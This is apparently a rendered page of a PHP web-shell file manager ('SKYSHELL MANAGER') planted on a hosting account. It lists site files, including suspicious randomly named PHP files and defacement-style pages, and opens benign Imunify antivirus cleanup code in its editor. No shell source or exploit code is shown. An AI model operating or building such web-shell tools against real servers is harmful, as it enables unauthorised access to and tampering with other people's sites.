📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: cleanup.py
""" This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. Copyright © 2019 Cloud Linux Software Inc. This software is also available under ImunifyAV commercial license, see <https://www.imunify360.com/legal/eula> """ from defence360agent.contracts.messages import MessageType from defence360agent.contracts.permissions import ( MS_CLEAN_REQUIRES_MYIMUNIFY_PROTECTION, check_permission, ) from defence360agent.feature_management.constants import AV, FULL from defence360agent.feature_management.lookup import feature from defence360agent.rpc_tools.lookup import ( CommonEndpoints, RootEndpoints, bind, ) from defence360agent.rpc_tools.validate import validate_av_plus_license from imav.malwarelib.cleanup.cleaner import MalwareCleanupProxy from imav.malwarelib.cleanup.storage import restore_hits from imav.malwarelib.model import MalwareHit from imav.malwarelib.utils.endpoints import MaliciousEndpointStatus @feature(AV, [FULL]) class CleanupEndpoints(CommonEndpoints): @bind("malware", "malicious", "cleanup") @validate_av_plus_license async def cleanup(self, ids, standard_only=False, user=None): await check_permission(MS_CLEAN_REQUIRES_MYIMUNIFY_PROTECTION, user) hits = MalwareHit.malicious_select(ids, user=user, cleanup=True) if hits: await self._sink.process_message( MessageType.MalwareCleanupTask( hits=hits, initiator=user, standard_only=standard_only, ) ) @bind("malware", "malicious", "cleanup-all") @validate_av_plus_license async def cleanup_all(self, standard_only=False, user=None): await check_permission(MS_CLEAN_REQUIRES_MYIMUNIFY_PROTECTION, user) hits = MalwareHit.malicious_select(user=user, cleanup=True) if hits: await self._sink.process_message( MessageType.MalwareCleanupTask( hits=hits, initiator=user, standard_only=standard_only, ) ) @bind("malware", "malicious", "restore-original") @validate_av_plus_license async def restore_original(self, ids, user=None): hits = MalwareHit.malicious_select(ids, user=user, restore=True) succeded, failed = await restore_hits(hits, self._sink) return MaliciousEndpointStatus(succeded, failed) class CleanupRootEndpoints(RootEndpoints): def __init__(self, sink): super().__init__(sink) self._proxy = MalwareCleanupProxy() @bind("malware", "cleanup", "status") async def cleanup_status(self): progress = self._proxy.get_progress() if progress is None: status = {"status": "stopped"} else: status = {"status": "running", "progress": progress} return {"items": status} @bind("malware", "user", "cleanup") @validate_av_plus_license async def user_cleanup(self, user, standard_only=False): users = user # according to schema 'user' is actually a list of users hits = MalwareHit.malicious_select(user=users, cleanup=True) if hits: for user in users: user_hits = [hit for hit in hits if hit.user == user] if user_hits: await self._sink.process_message( MessageType.MalwareCleanupTask( hits=user_hits, initiator=user, standard_only=standard_only, ) ) @bind("malware", "user", "restore-original") @validate_av_plus_license async def user_restore_original(self, user): hits = MalwareHit.malicious_select(user=user, restore=True) succeded, failed = await restore_hits(hits, self._sink, user) return MaliciousEndpointStatus(succeded, failed)
Save